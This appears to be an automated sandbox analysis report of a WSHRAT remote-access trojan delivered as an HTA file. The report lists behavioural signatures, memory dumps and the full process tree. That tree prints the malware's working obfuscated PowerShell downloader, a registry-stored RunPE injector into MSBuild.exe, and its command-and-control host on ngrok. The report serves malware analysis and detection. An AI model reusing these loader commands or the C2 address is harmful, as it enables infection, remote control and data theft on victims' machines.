Analysis
- max time kernel
148s - max time network
167s - platform
windows10-2004_x64 - resource
win10v2004-20220721-en - resource tags
- submitted
27/07/2022, 06:46
General
- Target statement.hta
- Size 17KB
- Sample220727-hjx2psegg6
- SHA256 d1abfe186555b7b0b6dec754412e73f29f2dfae9042e7966b505a9ae10e0d099
Malware Config
Extracted
-
wshrat
-
http://1.tcp.au.ngrok.io:25993
Signatures
- WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
- Blocklisted process makes network request 23 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Modifies registry class 1 IoCs
- Script User-Agent 19 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\statement.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hGpRFzhxC($ncyQBVxuN, $bmzObKgnO){[IO.File]::WriteAllBytes($ncyQBVxuN, $bmzObKgnO)};function opPPxkiJmb($ncyQBVxuN){if($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45639,45647,45647))) -eq $True){rundll32.exe $ncyQBVxuN }elseif($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45651,45654,45588))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ncyQBVxuN}else{Start-Process $ncyQBVxuN}};function qqLOwwVnMFG($hGpRFzhxC){$idjCuQLIUbnBwUgvWDV=(ZHhNoxjKqVIlBal @(45611,45644,45639,45639,45640,45649));$nbgYRvPswVZYCK=(Get-ChildItem $hGpRFzhxC -Force);$nbgYRvPswVZYCK.Attributes=$nbgYRvPswVZYCK.Attributes -bor ([IO.FileAttributes]$idjCuQLIUbnBwUgvWDV).value__};function TicTeelSktHnXfO($irjWUFuYLRsApSFCnod){$eBFqHwopwUgJLecmR = New-Object (ZHhNoxjKqVIlBal @(45617,45640,45655,45585,45626,45640,45637,45606,45647,45644,45640,45649,45655));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$bmzObKgnO = $eBFqHwopwUgJLecmR.DownloadData($irjWUFuYLRsApSFCnod);return $bmzObKgnO};function ZHhNoxjKqVIlBal($CfFfZKRBmd){$wAeqTyuBM=45539;$cBbZgQxDeHgVM=$Null;foreach($fozIjxEr in $CfFfZKRBmd){$cBbZgQxDeHgVM+=[char]($fozIjxEr-$wAeqTyuBM)};return $cBbZgQxDeHgVM};function ooVTspReNL(){$QdQJPbGZPbHmuFHjU = $env:AppData + '\';$QRJEOTllSpueGEkPzvMBz = $QdQJPbGZPbHmuFHjU + '000489-1053540002.jpg';If(Test-Path -Path $QRJEOTllSpueGEkPzvMBz){Invoke-Item $QRJEOTllSpueGEkPzvMBz;}Else{ $AloviVypPny = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45638,45639,45649,45585,45639,45644,45654,45638,45650,45653,45639,45636,45651,45651,45585,45638,45650,45648,45586,45636,45655,45655,45636,45638,45643,45648,45640,45649,45655,45654,45586,45595,45596,45594,45588,45589,45595,45588,45590,45589,45590,45595,45595,45589,45587,45591,45592,45591,45591,45586,45588,45587,45587,45587,45596,45590,45595,45593,45590,45591,45591,45587,45593,45592,45590,45596,45589,45596,45591,45586,45587,45587,45587,45591,45595,45596,45584,45588,45587,45592,45590,45592,45591,45587,45587,45587,45589,45585,45645,45651,45642));hGpRFzhxC $QRJEOTllSpueGEkPzvMBz $AloviVypPny;Invoke-Item $QRJEOTllSpueGEkPzvMBz;};$ekjAHntag = $QdQJPbGZPbHmuFHjU + 'xix.js'; if (Test-Path -Path $ekjAHntag){opPPxkiJmb $ekjAHntag;}Else{ $VVqldlLVS = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45643,45655,45584,45649,45636,45644,45647,45585,45639,45640,45586,45650,45651,45650,45586,45659,45644,45659,45585,45645,45654));hGpRFzhxC $ekjAHntag $VVqldlLVS;opPPxkiJmb $ekjAHntag;};qqLOwwVnMFG $ekjAHntag;;;;;}ooVTspReNL;2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\xix.js"3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'1.tcp.au.ngrok.io 25993 \"WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland\"'));"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exepath 1.tcp.au.ngrok.io 25993 "WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland"5⤵
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
xix.js
memory/1312-160-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-168-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-173-0x0000000005820000-0x00000000058B2000-memory.dmp
memory/1312-162-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-164-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-166-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-167-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-172-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-171-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-170-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-169-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-163-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-161-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-159-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-158-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-151-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-153-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-154-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-155-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-156-0x0000000000400000-0x0000000000418000-memory.dmp
memory/1312-157-0x0000000000400000-0x0000000000418000-memory.dmp
memory/3576-149-0x0000000007A10000-0x0000000007AAC000-memory.dmp
memory/3932-136-0x0000000006780000-0x000000000679E000-memory.dmp
memory/3932-132-0x0000000005940000-0x0000000005F68000-memory.dmp
memory/3932-133-0x00000000058C0000-0x00000000058E2000-memory.dmp
memory/3932-131-0x0000000002E50000-0x0000000002E86000-memory.dmp
memory/3932-134-0x0000000006020000-0x0000000006086000-memory.dmp
memory/3932-135-0x0000000006140000-0x00000000061A6000-memory.dmp
memory/3932-141-0x0000000008C50000-0x00000000092CA000-memory.dmp
memory/3932-140-0x0000000008020000-0x00000000085C4000-memory.dmp
memory/3932-139-0x0000000006D20000-0x0000000006D42000-memory.dmp
memory/3932-138-0x0000000006C90000-0x0000000006CAA000-memory.dmp
memory/3932-137-0x00000000079D0000-0x0000000007A66000-memory.dmp